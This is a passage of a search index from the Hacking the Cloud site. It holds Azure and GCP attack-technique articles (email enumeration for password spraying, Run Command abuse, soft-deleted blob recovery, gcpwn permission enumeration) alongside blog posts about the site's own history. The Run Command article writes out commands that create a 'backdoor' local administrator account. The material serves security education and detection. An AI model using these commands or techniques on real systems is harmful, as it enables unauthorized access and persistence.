&lt;Last-Modified&gt;Sat, 05 Mar 2022 18:02:14 GMT&lt;/Last-Modified&gt;\n                &lt;Etag&gt;0x8D9FED247B7848D&lt;/Etag&gt;\n                &lt;Content-Length&gt;34&lt;/Content-Length&gt;\n                &lt;Content-Type&gt;text/plain&lt;/Content-Type&gt;\n                &lt;Content-Encoding/&gt;\n                &lt;Content-Language/&gt;\n                &lt;Content-MD5&gt;lur6Yvd173x6Zl1HUGvtag==&lt;/Content-MD5&gt;\n                &lt;Cache-Control/&gt;\n                &lt;BlobType&gt;BlockBlob&lt;/BlobType&gt;\n                &lt;LeaseStatus&gt;unlocked&lt;/LeaseStatus&gt;\n            &lt;/Properties&gt;\n        &lt;/Blob&gt;\n    &lt;/Blobs&gt;\n    &lt;NextMarker/&gt;\n&lt;/EnumerationResults&gt;\n</code></pre></p>"},{"location":"azure/enum_email_addresses/","title":"Unauthenticated Enumeration of Valid Azure Active Directory Email Addresses","text":"<p>You can enumerate valid email addresses associated with the Azure Active Directory service using CredMaster or Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.</p>"},{"location":"azure/run-command-abuse/","title":"Run Command Abuse","text":"<ul> <li> <p> Original Research</p> <p>Azure Run Command for Dummies by Adrien Bataille, Anders Vejlby, Jared Scott Wilson, Nader Zaveri</p> </li> </ul>"},{"location":"azure/run-command-abuse/#technique","title":"Technique","text":"<p>MITRE: Execution &gt; Cloud Administration Command</p> <p>Run Command is an operation within Azure that allows administrators to run scripts on Windows and Linux virtual machines via the:</p> <ul> <li>Azure Portal,</li> <li>Azure CLI, and</li> <li>PowerShell</li> </ul> <p>Once configured the script is run via the virtual machine agent installed on the virtual machine.</p> <p>A script ran via Run Command runs with the following privleges:</p> <ul> <li><code>System</code> on Windows, and as </li> <li><code>root</code> on Linux</li> </ul> <p>In order to use this functionality an identity must have the following role assigned to it: <code>Microsoft.Compute/virtualMachines/runCommands/action</code></p> <p>This example focuses on the abuse of Run Commands against Windows hosts, however, the same methodology can be used to target Linux based virtual machines.</p> <p>The script that this example will utilise is as follows:</p> <pre><code>net user /add backdoor BingoBango123!\nnet localgroup administrators backdoor /add\n</code></pre> <p>This script:</p> <ul> <li>Creates a new user named <code>backdoor</code>, then</li> <li>Adds the user to the local <code>Administrator</code> group</li> </ul> <p>This example will use the Azure Portal to create and run the aforementioned script. More information on running these commands via the Azure CLI or PowerShell can be found within the relevant Microsoft documentation.</p> <p>Browsing to the virtual machine, we can select the Run Command option, enter our script then execute it, as depicted in the following screenshot:</p> <p></p> <p>Once the script has executed, we can authenticate to the virtual machine with our new credentials and check on it's status, as depicted in the following screenshot:</p> <p></p> <p>Here we can see that the script has successfully executed, and the <code>backdoor</code> user has been added to the local <code>Administrator</code> group.</p>"},{"location":"azure/run-command-abuse/#detection","title":"Detection","text":"<p>The following operation name can be used to audit and alert on Run Commands being used within a tenant: <code>Microsoft.Compute/virtualMachines/runCommand/action</code></p>"},{"location":"azure/run-command-abuse/#further-reading","title":"Further reading","text":"<ul> <li>https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command</li> <li>https://learn.microsoft.com/en-us/azure/virtual-machines/linux/run-command</li> </ul>"},{"location":"azure/soft-deleted-blobs/","title":"Soft Deleted Blobs","text":"<ul> <li> <p> Original Research</p> <p>0xPwN Blog - Create an Azure Vulnerable Lab: Part #3 \u2013 Soft Deleted Blobs by Andrei Agape</p> </li> </ul> <p>In this tutorial we will see how data that has been deleted from a private Storage Account Container can still be a risk in some cases. Even if we know the full path of resources uploaded to a private container, Azure requires authentication to be accessed. To provide access we can choose between:</p> <ul> <li>A shared access signature (SAS) \u2013 is a URI that grants restricted access to an Azure Storage container. Use it when you want to grant access to storage account resources for a specific time range without sharing your storage account key.</li> <li>A connection string includes the authorization information required for your application to access data in an Azure Storage account at runtime using Shared Key authorization.</li> <li>Managed Identities</li> </ul> <p>For the sake of this tutorial, we will pretend to be a developer that uses the connection string and saves it in a config file/source code deployed to Azure. Additionally, the web application deployed has a command injection vulnerability.  We can find the connection string of a Storage Account in the Azure portal as shown below:</p> <p></p> <p>Now, the problem here is that we are giving access to the whole storage account by passing the connection string into the web app. Azure supports granular access for specific containers, for a limited amount of time, or event for a specific file within the container! But for convenience (or lack of knowledge), a developer might deploy the connection string for the entire storage account. Don\u2019t be that developer.</p> <p>The second part of this tutorial is about recovering deleted blobs. By default, when creating a storage container using the Portal, the Soft Deletion is enabled with 7 days retention time. Now image that you got access to a storage account with tens of containers, and someone at some point mistakenly uploaded an SSH key to one of these containers and than deleted it without being aware of the 7 day retention day \u201cfeature\u201d. </p> <p></p>"},{"location":"azure/soft-deleted-blobs/#exploiting-soft-deleted-blobs","title":"Exploiting Soft Deleted Blobs","text":"<p>Now, to exploit this vulnerability we navigate to the web application vulnerable to command injection and start poking around. Listing the files in the current directory, we can find among other the source code in the app.py:</p> <p></p> <p>Listing the contents of this file, we can see there is a connection string stored inside (our placeholder has been replaced at runtime with the actual value of the container):</p> <p></p> <p>Inside the Microsoft Azure Container Explorer, we specify that we want to connect to a storage account</p> <p></p> <p>And that we want to use a Connection String</p> <p></p> <p>And we paste the value of the conn_str variable that we found in the source code, and connect:</p> <p></p> <p>On the left side menu, a new storage account should show up. Navigate to the Blob Containers -&gt; images and open it:</p> <p></p> <p>At first glance, it seems that nothing of interest is stored here. Remember the flag that we accidentally uploaded? Change the view to Active and soft deleted blobs:</p> <p></p> <p>And voila! Right click -&gt; Undelete</p> <p></p>"},{"location":"blog/2022_wrap-up/","title":"2022 Wrap-up","text":"<p>Nick Frichette \u00b7 @frichette_n \u00b7   December 14, 2022   </p> <p>2022 is coming to a close and it's time to look back on the year. For Hacking the Cloud, 2022 has been a year of steady improvements. We've consistently had new content and new techniques added to the catalog throughout the year. We also expanded the type of content we offer with a full-blown, custom, CTF! With all that in mind, here are some accomplishments for the site this year, along with some noteworthy updates.</p>"},{"location":"blog/2022_wrap-up/#numbers","title":"Numbers","text":"<p>I think the best way to view how well the site is doing is to see some numbers. Here are some fun statistics. All data was pulled ~6PM Central, December 13th. In 2022, Hacking the Cloud has:</p> <ul> <li>625 stars gained on GitHub</li> <li>225 commits committed</li> <li>73,925 visits</li> <li>124,278 page views</li> <li>6,408 average monthly visitors (excluding December)</li> <li>9,763 average monthly visitors in the past quarter!</li> </ul> <p></p> <p>November in particular was a high traffic month, presumably because of multiple articles being released and gaining traction on Google's Discover.</p> <p>Compared to 2021, visitor count has increased over <code>94%</code>! (Note: 2022 is not over, hence the dotted line for 2022)</p> <p></p> <p>We have also reached 17 contributors officially on GitHub! I want to personally thank every single one of you who took the time to contribute to the site. Especially for Azure and GCP which I have no knowledge of. You all make this possible and I appreciate your contributions deeply.</p>"},{"location":"blog/2022_wrap-up/#most-popular-articles","title":"Most Popular Articles","text":"<p>Some more numbers; this time the most popular articles along with page views:</p> <ol> <li>Steal EC2 Metadata Credentials via SSRF - 10,963 page views!</li> <li>CI/CDon't - 5,842 page views.</li> <li>AWS Organizations Defaults - 5,325 page views.</li> <li>Connection Tracking - 5,209 page views.</li> <li>Using Stolen IAM Credentials - 5,043 page views.</li> </ol> <p>Once again, the Steal EC2 Metadata Credentials via SSRF article was the number one most popular page on the site! I think this is mostly attributed to high SEO ranking, along with it being a crucial security topic. </p> <p>CI/CDon't was a surprise runner up, but a happy surprise. I made this CTF specifically for Hacking the Cloud to cover some important security topics. I'm hoping that view count is indicative that folks enjoyed it and perhaps a few played it themselves.</p> <p>Using Stolen IAM Credentials ranking in the top 5 was another happy surprise. This article deviates from the standard type of article we would normally host. Typically each page of Hacking the Cloud is dedicated to an individual technique. This article was an attempt to create a \"playbook\" that would explain how an attacker should operate in a certain situation, along with OPSEC considerations. Considering that this article has been viewed so much, I definitely plan to continue this type of content. Perhaps with accompanying video content?</p>"},{"location":"blog/2022_wrap-up/#rss-feeds","title":"RSS Feeds!","text":"<p>If you want to be the first to know when a new technique has been added to Hacking the Cloud, I have good news for you! We now have two RSS feeds thanks to the mkdocs-rss-plugin. The created feed (also linked in the footer) is the recommended feed to follow if you'd like to be notified when a new article has been added. We also have an updated feed, in case you want a notification every time a page is changed (not recommended but nobody is stopping you).</p> <p>Please note, I've been a little wary about adding RSS support to Hacking the Cloud out of fear that something will go wrong. So far, testing has been positive, but I apologize in advance if something goes haywire and you get spammed with notifications.</p>"},{"location":"blog/2022_wrap-up/#plagiarism","title":"Plagiarism","text":"<p>Last month, I was made aware that another site was copying entire articles from Hacking the Cloud and publishing them on their own site. You can see some examples below.</p> Hacking the Cloud Copy <p>As you can imagine, I was pretty unhappy with this for a number of reasons. Writing content for Hacking the Cloud takes a significant time investment. Setting up test infrastructure, getting screenshots, validating logs, ensuring everything written is 100% accurate (and fixing it when things slip through) is a huge endeavor. It is deflating and frustrating when another site claims they have more content, only for you to find a non-insignificant portion of that content was copied and pasted from your work and the work of people who took time to contribute to your project. </p> <p>Furthermore, it is even more upsetting when that site has a banner seeking company sponsorships and subscription plans, potentially profiting off of work done for Hacking the Cloud (I should mention, when asked about this, the site owner told me the site does not make money).</p> <p>I am 100% supportive of citing other researchers. It's why Hacking the Cloud has links to original research, additional resources, and references at the top of each article, front and center. However, there is a huge difference between citing someone, or crediting someone, and copying the entire article, word-for-word.</p> <p>To that site owner's credit, when I raised these concerns with them they were quick to remove the plagiarized content. To my knowledge this has not been a problem since, and I don't hold any ill-will towards them.</p> <p>Feb 2024 Update</p> <p>It has been brought to my attention that HackTricks Cloud is still engaging in blatant plagiarism of a variety of different sources, including plagiarizing Hacking the Cloud content. Please see this this Twitter thread for some examples. Please see this thread for more examples. I recommend avoiding their training course because of this. Copying and pasting blog posts and referencing those as training materials does not inspire confidence.</p> <p>As a result of this incident, however, I have added additional language to our existing Plagiarism Policy to further enforce that we will not accept plagiarized content on Hacking the Cloud. Additionally, I have added additional guarantees that I will remove links/references at the author's request (including situations that don't involve plagiarism).</p> <p>Hacking the Cloud uses the MIT License which, in retrospect, was a big mistake. When this decision was made, I was not considering the potential for someone to copy content from the site and potentially monetizing it. I have spent some time looking into this, but I am not a lawyer, I don't know a thing about copyright, and I have not had much luck finding resources on how we can better protect the site's content. If you have any experience in this domain, I would love to hear from you.</p>"},{"location":"blog/2022_wrap-up/#mastodon","title":"Mastodon","text":"<p>In a bit of an experiment, Hacking the Cloud now has its own Mastodon account! My goal with this account is to try something new. In the short term, I'd like to add a GitHub action to post to the account when a new article is published, along with posting release notes for the site.</p> <p>Long term, I'd like to cover broader cloud security news, and highlight interesting research or findings. I'm considering hooking it up to the RSS feeds of some well known blogs and sharing cloud security news that way. Feel free to give the account a follow if you're interested.</p> <p></p>"},{"location":"blog/2022_wrap-up/#plans-for-the-future","title":"Plans for the Future","text":"<p>Aside from continuing to add to the catalog of AWS attack techniques, I have three initiatives for Hacking the Cloud in 2023. The first, as mentioned previously, will be to add what I will loosely call \"playbooks\"; step by step guides demonstrating some path along the exploit chain. With this type of content, I think there is an opportunity to showcase how individual techniques can be chained together and demonstrate how an attacker can operate in a cloud environment.</p> <p>The second major initiative is to begin adding Kubernetes attacks to the mix. While not strictly cloud-specific (I'm running a kubernetes cluster 5 feet from where I'm sitting. And, no, I haven't broken into us-east-1.... yet.), it is undeniable that Kubernetes is a massive part of many organizations' security posture. Things may get a bit blurred if anything is specific to the cloud provider's implementation of Kubernetes but we'll cross that bridge when we get to it.</p> <p>And finally, I'd like to add more resources to the site related to real world attacks. Currently, I'm planning to add references to individual techniques if they were seen in the wild and where. This way, we can get an understanding of attack trends and prioritize defenses based on real-world usage.</p>"},{"location":"blog/2022_wrap-up/#conclusion","title":"Conclusion","text":"<p>I hope you had a good 2022 and have an even better 2023. May every vulnerability you find be a critical! Happy holidays!</p>"},{"location":"blog/2023_wrap-up/","title":"2023 Wrap-up","text":"<p>Nick Frichette \u00b7 @frichette_n \u00b7   December 20, 2023   </p> <p>2023 is coming to a close and it\u2019s time to look back on the year. This was the third year that Hacking the Cloud has been operating, sharing techniques on attacking and defending cloud environments. We\u2019ve added a number of new articles to the site and updated old ones. With all this in mind, here are some accomplishments for the site this year.</p>"},{"location":"blog/2023_wrap-up/#numbers","title":"Numbers","text":"<p>Here are some fun stats. All data was pulled ~6PM central, December 19th. In 2023, Hacking the Cloud has:</p> <ul> <li>457 stars gained on GitHub (1389 total)</li> <li>128 commits committed</li> <li>96,031 visits</li> <li>187,542 pageviews</li> <li>8,238 average monthly visitors (excluding December)</li> <li>And a partridge in a pear tree</li> </ul> <p>Compared to 2023, the visitor count has increased 29.9%, pageviews 50.9%, and average monthly visitors 28.6%!</p> <p>The number of total contributors to the site has also increased to 25 (up from 17). A major thank you to everyone who has contributed to building Hacking the Cloud. From the smallest fix of a typo, to writing entire articles, everything helps make the site a better source for cloud security information. All our contributors make this site possible and I appreciate their efforts deeply.</p>"},{"location":"blog/2023_wrap-up/#most-popular-articles","title":"Most popular articles","text":"<p>An area that I\u2019m always interested in are our most popular articles. What topics are cloud security professionals interested in learning about? What articles are being shared in Jira tickets to be fixed? Here are the top 5 most popular articles:</p> <ol> <li>Steal EC2 Metadata Credentials via SSRF - 16,234 pageviews!</li> <li>AWS Organizations Defaults &amp; Pivoting - 15,343 pageviews.</li> <li>Abusing Managed Identities - 5,703 pageviews.</li> <li>Using Stolen IAM Credentials - 5,594 pageviews.</li> <li>Connection Tracking - 4,869 pageviews.</li> </ol> <p>For the third year running, \u201cSteal EC2 Metadata Credentials via SSRF\u201d is our most popular article, but unlike previous years it\u2019s not by a landslide. This article, and by extension, this technique, is a cornerstone of AWS security. Stealing IAM credentials from the instance metadata service via SSRF has provided many penetration testers and red teamers the initial access they needed in an environment. Starting next year however, AWS has announced that IMDSv2 will be the only option going forward. Will this mean that this beloved technique will be a thing of the past? I guess we\u2019ll have to check the stats next year.</p> <p>In second place, and very close to first, we have \u201cAWS Organizations Defaults &amp; Pivoting\u201d. I think this rise in viewership can be attested to a growing understanding amongst offensive security professionals that cross-account trust is a huge lateral movement opportunity that can be taken advantage of. This article touches on the <code>OrganizationAccountAccessRole</code>, one of my favorite roles in AWS which potentially can be abused to take over every AWS account in an organization. A major thank you to Scott Weston for all his efforts in expanding on the article and adding more content.</p> <p>In third place, we have the first non-AWS article to ever make a top 5 (and I\u2019m pretty sure a top 10), \u201cAbusing Managed Identities\u201d. In this article Andrei Agape describes how you can take advantage of a managed identity to access other Azure resources. As an exclusively AWS person, I\u2019m excited to see more interest in other cloud providers. If you aren\u2019t an AWS person and want to share some knowledge about cloud security, feel free to open a pull request and share your knowledge with others!</p>"},{"location":"blog/2023_wrap-up/#most-popular-social-networks","title":"Most popular social networks","text":"<p>If you\u2019re interested in learning more about cloud security, you may also be interested in discussing with like-minded people. Social media can make that a lot easier. Here are the top social media websites with content that linked to Hacking the Cloud articles that got clicks.</p> <p></p> <ol> <li>LinkedIn - 42% of links</li> <li>Twitter - 30% of links</li> <li>GitHub - 13% of links</li> <li>Reddit - 9% of links</li> <li>Facebook - 6% of links</li> <li>Others - &lt;1%</li> </ol> <p>LinkedIn reigns supreme this year with 42% of all social media links. Perhaps, aside from all the hustle culture, there may be a thriving community of cloud security professionals there.</p> <p>In what may be a surprise to some (but not others), it looks like the InfoSec flight from Twitter might have some data backing it up. Twitter made up only 30% of links in 2023, down from 40% in 2022. </p> <p>For my Mastodon fans, I wouldn\u2019t worry about not showing up on the leaderboards. Because of the distributed nature of the network, there isn\u2019t a very easy way to track it. Personally, I\u2019ve found a number of technical people interested in chatting about tech. If you are on the woolly site you can even follow Hacking the Cloud on Mastodon!</p>"},{"location":"blog/2023_wrap-up/#thank-you","title":"Thank you!","text":"<p>Again, I want to say thank you to everyone who has shared the site\u2019s content, contributed to making it better, or even for just saying a kind word. Hacking the Cloud has been a passion project for years now, trying to make cloud security information more accessible for the community. Thank you all for an amazing 2023, and I look forward to 2024!</p>"},{"location":"blog/v2_new_look/","title":"Hacking The Cloud v2: New Look","text":"<p>Nick Frichette \u00b7 @frichette_n \u00b7   December 6, 2021   </p> <p>Whoa! Things look a little different? You're not imagining it.</p> <p> </p> The old look. <p>Hacking The Cloud now uses Material for MkDocs to render the beautiful HTML you see before you.</p>"},{"location":"blog/v2_new_look/#why-the-change","title":"Why the Change?","text":"<p>When Hacking The Cloud was first started in mid-2020, I was primarily focused on getting the project off the ground and wasn't particularly interested in the formatting or appearance. This resulted in the choice to use a familiar technology (Hugo) and finding a freely available theme for it (zDoc).</p> <p>This helped get the project up and running quickly and allowed me to work on getting the first few pages created. Over time, however, small changes were need. Increased font size, changes to the navigation layout, CSS tweaks, etc. Recently more time has been spent making sure things looked okay rather than actually creating content.</p> <p>To be clear, the zDoc theme is excellent, there were just some changes needed that made the theme difficult to use for our purposes. These needs, combined with the appearance that the theme is no longer actively maintained, had caused me to look for something different.</p>"},{"location":"blog/v2_new_look/#why-material-for-mkdocs","title":"Why Material for MkDocs?","text":"<p>For the past several months I've been looking for a suitable replacement. My list of requirements was high. Additionally, I was looking for something simple, easy to use, and wouldn't have me constantly thinking, \"does this look okay on mobile?\".</p> <p>By pure luck, I found what I was looking for. Kinnaird McQuade happened to retweet an announcement from the Material for MkDocs project, and I was hooked. It looked great, supported Markdown, had admonitions, code blocks, produced static HTML, client-side search, and just about everything else I was looking for. </p> <p>More than that, it's fun and easy to work with.</p> <p>If you'd like to support Material for MkDocs you can join me in sponsoring the project.</p>"},{"location":"blog/v2_new_look/#what-does-this-mean-for-you","title":"What Does This Mean for You?","text":"<p>Honestly, not a whole lot. Hacking the Cloud will now look a lot better on desktop and mobile. This will free up time and resources to focus on what actually matters, the content.</p> <p>For folks interested in contributing, you are only a pull request away! Our contributing guide has everything you need to get up and running. If you have any questions or ideas feel free to start a conversation on our discussions page.</p>"},{"location":"gcp/capture_the_flag/gcp-goat/","title":"GCP Goat","text":"<p>GCP-Goat is the vulnerable application for learning the Google Cloud Security</p> <p>The Application consists of the following scenarios</p> <ul> <li>Attacking Compute Engine</li> <li>Attacking Sql Instance</li> <li>Attacking GKE</li> <li>Attacking GCS</li> <li>Privilege Escalation</li> <li>Privilege Escalation in Compute Engine</li> </ul> <p>Project-Link </p>"},{"location":"gcp/capture_the_flag/thunder_ctf/","title":"Thunder CTF","text":"<p>Thunder CTF allows players to practice attacking vulnerable cloud projects on Google Cloud Platform (GCP). In each level, players are tasked with exploiting a cloud deployment to find a \"secret\" integer stored within it. Key to the CTF is a progressive set of hints that can be used by players when they are stuck so that levels can be solved by players of all levels from novices to experts.</p> <p>The CTF is available at https://thunder-ctf.cloud/.</p> <p>The GitHub repository for the Thunder CTF also includes:</p> <ul> <li>Least Privileges</li> <li>Cloud Audit</li> </ul> <p>Least Privilege CTF (slides) is an extension of Thunder CTF. Least Privilege levels have been desgined to help understand Google Cloud Platform's IAM roles and permissions.</p> <p>Cloud Audit is a series of code labs that will walk you through a few basic and a few more advanced cloud security concepts from a defender point of view.</p>"},{"location":"gcp/capture_the_flag/thunder_ctf/#links","title":"Links:","text":"<ul> <li>Website</li> <li>GitHub</li> </ul>"},{"location":"gcp/enumeration/enum_email_addresses/","title":"Unauthenticated Enumeration of Valid Google Workspace Email Addresses","text":"<p>You can enumerate valid email addresses associated with the Google Workspace service using Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.</p>"},{"location":"gcp/enumeration/enumerate_all_permissions/","title":"Enumerate Org/Folder/Project Permissions + Individual Resource Permissions","text":"<ul> <li> <p> Tools mentioned in this article</p> <p>gcpwn</p> </li> </ul>"},{"location":"gcp/enumeration/enumerate_all_permissions/#what-is-testiampermissions","title":"What is testIamPermissions?","text":"<p>GCP offers a \"testIamPermissions\" API call on most resources that support policies. This includes resources like:</p> <ul> <li>Organizations</li> <li>Folders</li> <li>Projects</li> <li>Compute Instances</li> <li>Cloud Functions</li> </ul> <p>In MOST cases, the general psuedo-code is the same regardless of the resource. However, the permissions allowed are usually dependent on the resource. </p> <p>For example, for \"Projects\" (probably 99% of people's interest), testIamPermissions is documented here. Note the general pattern is passing in an array (or list) of individual permissions and the service will return the list of permissions the caller is allowed in that specific project. So in the example below, we pass in a large number of permissions and maybe just \"cloudfunctions.functions.list\" is returned indicating our caller has that permission within this project (aka, can list all cloud functions in this project).</p> <pre><code># Input\n{\n  \"permissions\": [\n    compute.instances.addAccessConfig\n    cloudfunctions.functions.list\n    etc\n  ]\n}\n\n# Output\n{\n  \"permissions\": [\n     cloudfunctions.functions.list\n  ]\n}\n</code></pre> <p>However, testIamPermissions does NOT just exist for projects. The compute service allows you to specify permissions at the compute instance level (as opposed to the project level). As such, testIamPermissions actually exists for instances as well shown in the documentation here. You'll notice the API call is pretty much the same as the projects API call in that it takes in a big list of permission and returns the list of permissions the caller has on THAT specific instance; we are just calling testIamPermissions on the instance as opposed to the project. Also note we could not pass in \"cloudfunctions.functions.list\", for example, to the instances testIamPermissions as it will only accept instance-level permissions.</p> <pre><code># Input\n{\n  \"permissions\": [\n                'compute.instances.addAccessConfig',\n                'compute.instances.addMaintenancePolicies',\n                'compute.instances.addResourcePolicies',\n                'compute.instances.attachDisk',\n                'compute.instances.createTagBinding',\n                'compute.instances.delete',\n                'compute.instances.deleteAccessConfig',\n                'compute.instances.deleteTagBinding',\n                'compute.instances.detachDisk',\n                'compute.instances.get',\n                'compute.instances.getEffectiveFirewalls',\n                'compute.instances.getGuestAttributes',\n                'compute.instances.getIamPolicy',\n                'compute.instances.getScreenshot',\n                'compute.instances.getSerialPortOutput',\n                'compute.instances.getShieldedInstanceIdentity',\n                'compute.instances.getShieldedVmIdentity',\n                'compute.instances.listEffectiveTags',\n                'compute.instances.listReferrers',\n                'compute.instances.listTagBindings',\n                'compute.instances.osAdminLogin',\n                'compute.instances.osLogin',\n                'compute.instances.removeMaintenancePolicies',\n                'compute.instances.removeResourcePolicies',\n                'compute.instances.reset',\n                'compute.instances.resume',\n                'compute.instances.sendDiagnosticInterrupt',\n                'compute.instances.setDeletionProtection',\n                'compute.instances.setDiskAutoDelete',\n                'compute.instances.setIamPolicy',\n                'compute.instances.setLabels',\n                'compute.instances.setMachineResources',\n                'compute.instances.setMachineType',\n                'compute.instances.setMetadata',\n                'compute.instances.setMinCpuPlatform',\n                'compute.instances.setName',\n                'compute.instances.setScheduling',\n                'compute.instances.setSecurityPolicy',\n                'compute.instances.setServiceAccount',\n                'compute.instances.setShieldedInstanceIntegrityPolicy',\n                'compute.instances.setShieldedVmIntegrityPolicy',\n                'compute.instances.setTags',\n                'compute.instances.simulateMaintenanceEvent',\n                'compute.instances.start',\n                'compute.instances.startWithEncryptionKey',\n                'compute.instances.stop',\n                'compute.instances.suspend',\n                'compute.instances.update',\n                'compute.instances.updateAccessConfig',\n                'compute.instances.updateDisplayDevice',\n                'compute.instances.updateNetworkInterface',\n                'compute.instances.updateSecurity',\n                'compute.instances.updateShieldedInstanceConfig',\n                'compute.instances.updateShieldedVmConfig',\n                'compute.instances.use',\n                'compute.instances.useReadOnly'\n  ]\n}\n\n# Output\n{\n  \"permissions\": [\n                'compute.instances.start',\n                'compute.instances.startWithEncryptionKey',\n                'compute.instances.stop',\n  ]\n}\n</code></pre>"},{"location":"gcp/enumeration/enumerate_all_permissions/#gcpwn-introduction","title":"GCPwn Introduction","text":"<p>gcpwn is a tool that will run testIamPermission on all resources identified if specified by the end user. This means it will cover testIamPermission test cases for organizations, projects, folders, compute instances, cloud functions, cloud storage (buckets), service accounts, etc. For orgs/projects/folders it runs a small list of permissions as the input but you can specify through flags to brute force ~9500 permissions.</p> <p>To install the tool, follow the installation instructions here. Once installed, review the \"Common Use Cases\" which covers both of the items above.</p> <p>To see a live demo, you can watch this which covers testIamPermissions briefly.</p> <p>Note</p> <p>The tool will also passively record all API permissions you were able to call regardless if testIamPermissions is used, testIamPermissions just will give you more permissions back usually.</p>"},{"location":"gcp/enumeration/enumerate_all_permissions/#enumerate-permissions-on-individual-resources","title":"Enumerate Permissions on Individual Resources","text":"<p>Each enumeration  module (ex. <code>enum_instances</code>) in the tool allows you to pass in an <code>--iam</code> flag that will call testIamPermissions on the resource while enumerating it. Once run, you can run <code>creds info</code> as shown below and this will list out all the permissions your caller has. Review the POC below.</p> <ol> <li>Show the value for the service account key. Note the  same technique can be used for application default credentials (username/password) as well as standalone Oauth2 tokens</li> <li>Start up the tool via <code>python3 main.py</code>. Load in the service account credentials for the file we just showed.</li> <li>Now that the credentials are loaded in and the project is set (Note if project is <code>Unknown</code> you can set it with <code>projects set &lt;project_id&gt;</code>), run <code>creds info</code> and note that NO permissions are known for the current user</li> <li>Run enum_instances and see an instance is found. Run <code>creds info</code> again and note that permission are now populated saying the user has <code>compute.instances.list</code> on the project and <code>compute.instances.get</code> on the instance itself.</li> <li>Run enum_instances again but now include testIamPermission calls with the <code>--iam</code> flag. Run <code>creds info</code> again and note way more permissions were identified for the specified compute instance as gcpwn ran testIamPermissions during the enumeration phaes and saved the results. Now we can see our caller has not just <code>compute.instances.get</code> but <code>compute.instances.addAccessConfig</code>, <code>compute.instances.addMaintenancePolicies</code>, <code>compute.instances.addResourcePolicies</code>, etc. on <code>instance-20240630-025631</code></li> <li>This is hard to read. So you can pass in <code>--csv</code> with <code>creds info</code> to export it to an easy to read Excel file. creds info will highlight \"dangerous\" permissions red and the resulting CSV has a column for True/False for dangerous permissions.</li> </ol> <pre><code>\u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ cat key.json\n{\n  \"type\": \"service_account\",\n  \"project_id\": \"production-project[TRUNCATED]\",\n  \"private_key_id\": \"2912[TRUNCATED]\",\n  \"private_key\": \"-----BEGIN PRIVATE KEY-----\\nMIIEvQIBADANBgkqhkiG9w0B[RECACTED]\\n-----END PRIVATE KEY-----\\n\",\n  \"client_email\": \"newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\",\n  \"client_id\": \"11[TRUNCATED]\",\n  \"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n  \"token_uri\": \"https://oauth2.googleapis.com/token\",\n  \"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n  \"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/newserviceaccount%40production-project[TRUNCATED].iam.gserviceaccount.com\",\n  \"universe_domain\": \"googleapis.com\"\n}\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ python3 main.py \n[*] No workspaces were detected. Please provide the name for your first workspace below.\n&gt; New workspace name: DemoWorkspace\n[*] Workspace 'DemoWorkspace' created.\n\n[TRUNCATED]\n\n[*] Listing existing credentials...\n\n\nSubmit the name or index of an existing credential from above, or add NEW credentials via Application Default \nCredentails (adc - google.auth.default()), a file pointing to adc credentials, a standalone OAuth2 Token, \nor Service credentials. See wiki for details on each. To proceed with no credentials just hit ENTER and submit \nan empty string. \n[1] *adc      &lt;credential_name&gt; [tokeninfo]                    (ex. adc mydefaultcreds [tokeninfo]) \n[2] *adc-file &lt;credential_name&gt; &lt;filepath&gt; [tokeninfo]         (ex. adc-file mydefaultcreds /tmp/name2.json)\n[3] *oauth2   &lt;credential_name&gt; &lt;token_value&gt; [tokeninfo]      (ex. oauth2 mydefaultcreds ya[TRUNCATED]i3jJK)  \n[4] service   &lt;credential_name&gt; &lt;filepath_to_service_creds&gt;    (ex. service mydefaultcreds /tmp/name2.json)\n\n*To get scope and/or email info for Oauth2 tokens (options 1-3) include a third argument of \n\"tokeninfo\" to send the tokens to Google's official oauth2 endpoint to get back scope. \ntokeninfo will set the credential name for oauth2, otherwise credential name will be used.\nAdvised for best results. See https://cloud.google.com/docs/authentication/token-types#access-contents.\nUsing tokeninfo will add scope/email to your references if not auto-picked up.\n\nInput: service service_user /home/kali/gcpwn/key.json\n[*] Credentials successfuly added\nLoading in Service Credentials...\n[*] Loaded credentials service_user\n(production-project[TRUNCATED]:service_user)&gt; creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n(production-project[TRUNCATED]:service_user)&gt; modules run enum_instances\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                                                    \n     - instance-20240630-025631                                                                                                                                                             \n(production-project[TRUNCATED]:service_user)&gt; creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.list\n- Compute Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.get\n      - instance-20240630-025631 (instances)\n\n(production-project[TRUNCATED]:service_user)&gt; modules run enum_instances --iam\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[***] TEST Instance Permissions\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                                                    \n     - instance-20240630-025631                                                                                                                                                             \n(production-project[TRUNCATED]:service_user)&gt; creds info\n\nSummary for 